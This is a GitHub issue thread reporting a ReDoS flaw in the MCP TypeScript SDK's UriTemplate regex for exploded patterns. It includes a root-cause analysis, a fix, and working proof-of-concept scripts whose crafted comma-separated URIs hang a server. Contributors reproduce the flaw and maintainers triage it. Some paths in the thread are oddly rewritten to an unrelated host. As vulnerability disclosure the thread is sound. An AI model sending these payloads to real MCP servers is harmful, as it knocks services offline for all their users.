Skip to content

MCP TypeScript SDK UriTemplate ReDoS #965

Closed

Description

@weblover12

1. Describe the bug

The UriTemplate class in MCP TypeScript SDK is vulnerable to ReDoS attacks when processing RFC 6570 URI Template standard exploded array patterns ({/id*}, {?tags*}, etc.) due to catastrophic backtracking in the regular expression engine.

2. Root Cause Analysis

1. Vulnerable Code Location

File: typescript-sdk/src/shared/uriTemplate.ts
Function: partToRegExp() (Line 223-271)
Method: match() (Line 273-315)

2. Vulnerable Regular Expression Pattern

// Line 253: Regular expression generated for exploded patterns
pattern = part.exploded ? "([^/]+(?:,[^/]+)*)" : "([^/,]+)";
//                      ↑ This pattern is the source of ReDoS vulnerability

3. Backtracking Mechanism

Regular Expression Analysis: ([^/]+(?:,[^/]+)*)

  • [^/]+: One or more characters that are not /
  • (?:,[^/]+)*: Zero or more occurrences of , followed by one or more non-/ characters
  • Problem: Nested quantifiers causing catastrophic backtracking
    Backtracking Process:
Input: /users/user1,user2,user3,user4,user5FAIL/
1. [^/]+ matches "user1,user2,user3,user4,user5FAIL"
2. Entire pattern fails at the final "/" (due to $)
3. Backtrack: [^/]+ matches only "user1,user2,user3,user4,user5"
4. (?:,[^/]+)* tries to match "FAIL/" → fails (contains "/")
5. Further backtrack: [^/]+ matches only "user1,user2,user3,user4"
6. (?:,[^/]+)* tries to match ",user5FAIL/" → fails
7. This process continues for all possible combinations → exponential time complexity!

4. Attack Vector

Occurs in MCP Server's ReadResourceRequestSchema handler:

// typescript-sdk/src/server/mcp.ts:427-429
const variables = template.resourceTemplate.uriTemplate.match(
  uri.toString(),  // ← URI controlled by client
);

Attack Scenario:

  1. Server registers resource template using exploded patterns
  2. Attacker sends malicious URI via resources/read request
  3. ReDoS occurs when server calls uriTemplate.match()

3. Impact Analysis

1. Direct Impact

  • Server DoS: 100% CPU usage causing server crash
  • Service Unavailability: Other clients also affected
  • Availability Degradation: Service interruption

2. Attack Prerequisites

  • Server Side: Uses exploded patterns ({/id*}, {?tags*}, etc.)
  • Client Side: MCP client access permissions
  • Network: Ability to send requests via MCP protocol

3. Scope of Impact

  • MCP Servers: All servers using exploded patterns
  • Clients: Malicious clients or victim clients
  • Systems: All MCP servers in Node.js environments

4. Proof of Concept (POC)

1. Basic ReDoS Test

const { UriTemplate } = require('@modelcontextprotocol/sdk');
// Vulnerable template
const template = new UriTemplate('/users{/id*}');
// Malicious payload that triggers ReDoS
const maliciousPayload = '/users/' + 'user1,user2,user3,'.repeat(10) + 'userX/';
console.log('Starting ReDoS attack...');
console.time('Matching time');
// This call causes infinite loop
const result = template.match(maliciousPayload);
console.timeEnd('Matching time');
console.log('Result:', result);

2. Real MCP Server Attack Scenario

// Server registers this template
server.registerResource(
  "user-files",
  new ResourceTemplate("file:///users{/id*}/files{/path*}", { list: undefined }),
  { title: "User Files" },
  async (uri, variables, extra) => { /* ... */ }
);
// Attacker sends this request
client.readResource({
  uri: "file:///users/user1,user2,user3,user4,user5,user6,user7,suer8,user,9,user10,user11,user12,user13,user14,user16,user17,user18,user19,user20,FAIL/files/path1,path2,path3FAIL/"
});
// ↑ ReDoS occurs on server!

3. Performance Test Results

Payload Type Processing Time Result
Normal Input < 1ms Normal
Malicious Input (10 repeats) 58 seconds ReDoS
Malicious Input (50 repeats) Infinite loop Server crash

5. Mitigation Strategies

1. Immediate Applicable Solutions

Fix Regular Expression Pattern:

// Current (vulnerable)
pattern = "([^/]+(?:,[^/]+)*)";
// Fixed (safe)
pattern = "([^/,]+(?:,[^/,]+)*)";

6. Technical Details

1. Affected Versions

  • MCP TypeScript SDK: All versions (to date)
  • Node.js: All versions
  • Platform: All platforms

2. Non-affected Patterns

  • Single variables: {id}, {path}
  • Single queries: ?q={query}
  • Regular paths: /users/{id}

3. Affected Patterns

  • Exploded arrays: {/id*}, {?tags*}
  • Complex exploded: {/path*}{?filter*}
  • Nested exploded: /api{/version*}/users{/id*}

7. Conclusion

This ReDoS vulnerability poses a serious security risk and requires immediate patching.
Key Points:

  • Vulnerability Confirmed: Proven with actual POC
  • Scope of Impact: All servers using exploded patterns
  • Attack Feasibility: ReDoS attacks via MCP clients
  • Solvable: Fixable by modifying regular expression patterns

Impact

Business Impact

  • Service Availability Degradation: Users cannot access services
  • Trust Damage: Customer churn due to server instability
  • Operational Cost Increase: Server restart and recovery operations required
    Real Attack Examples
  • Web Applications: Attack MCP-based web services
  • API Servers: Crash MCP-based API servers

Activity

  1. chipgpt commented on Sep 29, 2025

    @chipgpt
    Contributor

    I tried to reproduce this issue but running into another error instead:

    server.ts

    import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
    import { McpServer, ResourceTemplate } from "@modelcontextprotocol/sdk/server/mcp.js";
    
    const server = new McpServer({
      name: "test-server",
      version: "1.0.0",
    });
    
    server.registerResource(
      "user-files",
      new ResourceTemplate("file:///users{/id*}/files{/path*}", { list: undefined }),
      { title: "User Files" },
      async () => {
        return {
          contents: [],
        };
      }
    );
    
    const transport = new StdioServerTransport();
    await server.connect(transport);

    client.ts

    import { Client } from "@modelcontextprotocol/sdk/client/index.js";
    import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
    
    const client = new Client({
      name: "test-client",
      version: "1.0.0",
    });
    
    const transport = new StdioClientTransport({
      command: "npx",
      args: ["ts-node", "server.ts"],
    });
    
    async function main() {
      await client.connect(transport);
    
      const resourceTemplates = await client.listResourceTemplates();
      console.log("Resource Templates:", resourceTemplates.resourceTemplates);
    
      const response = await client.readResource({
        uri: "file:///users/user1,user2,user3,user4,user5,user6,user7,suer8,user,9,user10,user11,user12,user13,user14,user16,user17,user18,user19,user20,FAIL/files/path1,path2,path3FAIL/"
      });
      console.log("Response:", response);
    
      await client.close();
    }
    
    void main().catch((error) => {
      console.error("Error in main:", error);
      // eslint-disable-next-line no-process-exit
      process.exit(1);
    });

    output

    % npx ts-node client.ts
    (node:9199) ExperimentalWarning: Type Stripping is an experimental feature and might change at any time
    (Use `node --trace-warnings ...` to show where the warning was created)
    (node:9263) ExperimentalWarning: Type Stripping is an experimental feature and might change at any time
    (Use `node --trace-warnings ...` to show where the warning was created)
    Resource Templates: [
      {
        name: 'user-files',
        title: 'User Files',
        uriTemplate: 'file:///users{/id*}/files{/path*}'
      }
    ]
    Error in main: McpError: MCP error -32602: MCP error -32602: Resource file:///users/user1,user2,user3,user4,user5,user6,user7,suer8,user,9,user10,user11,user12,user13,user14,user16,user17,user18,user19,user20,FAIL/files/path1,path2,path3FAIL/ not found
        at Client._onresponse (file:///Users/oscararmstrong/node/typescript-sdk-issue-185/node_modules/@modelcontextprotocol/sdk/src/shared/protocol.ts:495:21)
        at StdioClientTransport._transport.onmessage (file:///Users/oscararmstrong/node/typescript-sdk-issue-185/node_modules/@modelcontextprotocol/sdk/src/shared/protocol.ts:316:14)
        at StdioClientTransport.processReadBuffer (file:///Users/oscararmstrong/node/typescript-sdk-issue-185/node_modules/@modelcontextprotocol/sdk/src/client/stdio.ts:209:23)
        at Socket.<anonymous> (file:///Users/oscararmstrong/node/typescript-sdk-issue-185/node_modules/@modelcontextprotocol/sdk/src/client/stdio.ts:164:14)
        at Socket.emit (node:events:507:28)
        at Socket.emit (node:domain:489:12)
        at addChunk (node:internal/streams/readable:559:12)
        at readableAddChunkPushByteMode (node:internal/streams/readable:510:3)
        at Socket.Readable.push (node:internal/streams/readable:390:5)
        at Pipe.onStreamRead (node:internal/stream_base_commons:189:23) {
      code: -32602,
      data: undefined
    }
  2. weblover12 commented on Sep 30, 2025

    @weblover12
    Author

    Change uri value to '/user/' + 'user1, user2, user3', .repeat(15) + 'FAIL/'

    I give you the js file to make it easier for you to test.

    const { UriTemplate } = require('./typescript-sdk/dist/cjs/shared/uriTemplate.js');
    
    console.log('=== MCP SDK ReDoS Payload Test ===\n');
    
    console.log('⚠️  WARNING: This test can cause ReDoS attacks!');
    console.log('⚠️  Run only in isolated environments!\n');
    
    // Test function with timeout
    function testReDoS(template, payload, timeoutMs = 5000) {
        return new Promise((resolve, reject) => {
            let completed = false;
            
            const timer = setTimeout(() => {
                if (!completed) {
                    completed = true;
                    reject(new Error(`⏰ ${timeoutMs/1000}s timeout - ReDoS confirmed!`));
                }
            }, timeoutMs);
            
            setImmediate(() => {
                if (completed) return;
                
                try {
                    const start = process.hrtime.bigint();
                    const result = template.match(payload);
                    const end = process.hrtime.bigint();
                    const timeMs = Number(end - start) / 1000000;
                    
                    if (!completed) {
                        completed = true;
                        clearTimeout(timer);
                        resolve({ result, timeMs });
                    }
                } catch (error) {
                    if (!completed) {
                        completed = true;
                        clearTimeout(timer);
                        reject(error);
                    }
                }
            });
        });
    }
    
    // Test cases
    const testCases = [
        {
            name: "Exploded Path Segments",
            template: new UriTemplate('/users{/id*}'),
            payload: '/users/' + 'user1,user2,user3,'.repeat(15) + 'FAIL/',
            description: "Multiple comma-separated values with trailing comma"
        }
        
    ];
    
    console.log('🚨 Testing ReDoS payloads...\n');
    
    // Run tests
    async function runTests() {
        for (let i = 0; i < testCases.length; i++) {
            const testCase = testCases[i];
            console.log(`${i + 1}. ${testCase.name}`);
            console.log(`   Template: ${testCase.template.toString()}`);
            console.log(`   Payload: ${testCase.payload.substring(0, 80)}${testCase.payload.length > 80 ? '...' : ''}`);
            console.log(`   Length: ${testCase.payload.length} characters`);
            console.log(`   Description: ${testCase.description}`);
            console.log('');
            
            try {
                const { result, timeMs } = await testReDoS(testCase.template, testCase.payload, 5000);
                console.log(`   ✅ Result: ${result ? 'Matched' : 'No match'}`);
                console.log(`   ⏱️  Time: ${timeMs.toFixed(2)}ms`);
                
                if (timeMs > 1000) {
                    console.log('   🚨 Performance issue detected!');
                }
            } catch (error) {
                if (error.message.includes('timeout')) {
                    console.log('   🚨 ReDoS vulnerability confirmed!');
                    console.log('   💥 Regex engine stuck in catastrophic backtracking');
                } else {
                    console.log(`   ❌ Error: ${error.message}`);
                }
            }
            
            console.log('');
        }
        
        console.log('=== Test Summary ===');
        console.log('If any test timed out, ReDoS vulnerability is confirmed.');
        console.log('The vulnerable regex pattern is: ([^/]+(?:,[^/]+)*)');
        console.log('This pattern causes catastrophic backtracking with comma-separated values.');
        console.log('');
        console.log('🛠️  Fix: Replace with ([^/,]+(?:,[^/,]+)*)');
        console.log('📋 See security-vulnerability-report-en.md for details');
    }
    
    runTests().catch(console.error);
  3. chipgpt commented on Sep 30, 2025

    @chipgpt
    Contributor

    Excellent, got a working reproduction

    Server.ts

    import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
    import { McpServer, ResourceTemplate } from "@modelcontextprotocol/sdk/server/mcp.js";
    
    const server = new McpServer({
      name: "test-server",
      version: "1.0.0",
    });
    
    server.registerResource(
      "user-files",
      new ResourceTemplate('file:///users{/id*}', { list: undefined }),
      { title: "User Files ReDOS" },
      async () => {
        return {
          contents: [],
        };
      }
    );
    
    const transport = new StdioServerTransport();
    await server.connect(transport);

    Client.ts

    import { Client } from "@modelcontextprotocol/sdk/client/index.js";
    import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
    
    const client = new Client({
      name: "test-client",
      version: "1.0.0",
    });
    
    const transport = new StdioClientTransport({
      command: "npx",
      args: ["ts-node", "server.ts"],
    });
    
    async function main() {
      await client.connect(transport);
    
      const resourceTemplates = await client.listResourceTemplates();
      console.log("Resource Templates:", resourceTemplates.resourceTemplates);
    
      const response1 = await client.readResource({
        uri: 'file:///users/' + 'user1',
      });
      console.log("Response 1:", response1);
    
      const response2 = await client.readResource({
        uri: 'file:///users/' + 'user1,user2,user3,'.repeat(15) + 'FAIL/',
      });
      console.log("Response 2:", response2);
    
      await client.close();
    }
    
    void main().catch((error) => {
      console.error("Error in main:", error);
      // eslint-disable-next-line no-process-exit
      process.exit(1);
    });

    Output

    % npx ts-node client.ts
    (node:86357) ExperimentalWarning: Type Stripping is an experimental feature and might change at any time
    (Use `node --trace-warnings ...` to show where the warning was created)
    (node:86437) ExperimentalWarning: Type Stripping is an experimental feature and might change at any time
    (Use `node --trace-warnings ...` to show where the warning was created)
    Resource Templates: [
      {
        name: 'user-files',
        title: 'User Files ReDOS',
        uriTemplate: 'file:///users{/id*}'
      }
    ]
    Response 1: { contents: [] }
    Error in main: McpError: MCP error -32001: Request timed out
        at Timeout.timeoutHandler (file:///Users/oscararmstrong/node/typescript-sdk-issue-185/node_modules/@modelcontextprotocol/sdk/src/shared/protocol.ts:625:43)
        at listOnTimeout (node:internal/timers:608:17)
        at processTimers (node:internal/timers:543:7) {
      code: -32001,
      data: { timeout: 60000 }
    }
  4. weblover12 commented on Sep 30, 2025

    @weblover12
    Author

    Hello Team,

    Thank you for the update. I'm very glad to hear that you were able to reproduce the issue on the latest version.

    Now that the vulnerability has been successfully confirmed on your end, I would like to inquire if a CVE ID will be issued for this finding.

    Please let me know if you need any more information from my side.

    Thank you,

  5. weblover12 commented on Oct 8, 2025

    @weblover12
    Author

    @chipgpt Hello, could I kindly get a response to my previous question when you have a moment?

  6. weblover12 commented on Oct 16, 2025

    @weblover12
    Author

    @chipgpt Hello, could I kindly get a response to my previous question when you have a moment?

  7. chipgpt commented on Oct 16, 2025

    @chipgpt
    Contributor

    @chipgpt Hello, could I kindly get a response to my previous question when you have a moment?

    @weblover12 I am not a maintainer on this project, just helping out with reproduction on this issue. @pcarleton can you take a look at this?

  8. added
    ready for workEnough information for someone to start working on
    P0Broken core functionality, security issues, critical missing feature
    on Oct 17, 2025
  9. weblover12 commented on Oct 24, 2025

    @weblover12
    Author

    @pcarleton Hello, could I kindly get a response to my previous question when you have a moment?

  10. weblover12 commented on Oct 30, 2025

    @weblover12
    Author

    @pcarleton Hello, could I kindly get a response to my previous question when you have a moment?

  11. 3 remaining items

  12. added a commit that references this issue on Jan 7, 2026
  13. added 2 commits that reference this issue on Jan 7, 2026
    b5946d4
    646cfab
  14. RobertSAS commented on Jan 9, 2026

    @RobertSAS

    hi @pcarleton just to double check - this is still being reported as a snyk issue on 1.25.2 is that a false positive that'll resolve itself or is more to be done? thanks

  15. added a commit that references this issue on Jan 9, 2026
  16. pcarleton commented on Jan 9, 2026

    @pcarleton
    Member

    @RobertSAS yea that seems to be a false positive. I've opened a support ticket w/ Snyk to double check.

  17. added
    P1Significant bug affecting many users, highly requested feature
    and removed
    P0Broken core functionality, security issues, critical missing feature
    on Feb 17, 2026
  18. added a commit that references this issue on Aug 19, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    P1Significant bug affecting many users, highly requested featurebugSomething isn't workingready for workEnough information for someone to start working on

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions